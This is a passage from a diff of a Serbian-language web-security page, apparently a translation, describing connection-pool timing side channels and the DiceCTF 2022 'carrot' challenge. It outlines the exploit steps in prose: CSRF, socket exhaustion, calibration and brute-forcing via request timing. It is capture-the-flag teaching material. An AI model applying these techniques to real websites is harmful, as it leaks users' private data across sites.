> Ako je **obrisani** post bila **zastavica**, to znači da će sve **slike** **ubacene** u HTML biti **u sukobu** sa **5 nasumičnih zahteva** za taj **neblokirani** soket. Što znači da će izmereno vreme biti veće nego u drugom scenariju.
> Ako je **obrisani** post bila **zastava**, to znači da će sve **slike** **ubacene** u HTML biti **u sukobu** sa **5 nasumičnih zahteva** za taj **neblokirani** soket. Što znači da će izmereno vreme biti veće nego u drugom scenariju.
>
> Ako je **obrisani** post bio **HTML**, **5 nasumičnih zahteva** će biti **brži** jer ne moraju da se bore za taj soket sa ubačenim HTML-om.
@ -306,12 +306,12 @@ resolve(isFound)
```
## DiceCTF 2022 - carrot
U ovom slučaju, prvi korak eksploatacije bio je zloupotreba CSRF-a da se izmeni stranica na kojoj se nalazi zastava tako da ima **mnogo više sadržaja** (i stoga učitavanje traje duže), a zatim **zloupotreba konekcione baze da se izmeri vreme potrebno za pristup stranici** koja potencijalno može sadržati zastavu.
U ovom slučaju, prvi korak eksploata je bio zloupotreba CSRF-a da se izmeni stranica na kojoj se nalazi zastava tako da ima **mnogo više sadržaja** (i stoga učitavanje traje duže), a zatim **zloupotreba konekcione grupe da se izmeri vreme potrebno za pristup stranici** koja potencijalno može sadržati zastavu.
U eksploatu možete videti:
- Zloupotreba CSRF
- Zauzeti sve sokete osim 1
- Zauzeti sve sokete osim jednog
- Kalibracija odgovora
- Početi bruteforcing pristupom potencijalnoj stranici sa zastavom
- Potencijalna stranica će biti pristupljena i odmah će biti pristupljena i URL pod kontrolom napadača kako bi se proverilo koliko vremena oba zahteva traju.

Some files were not shown because too many files have changed in this diff Show More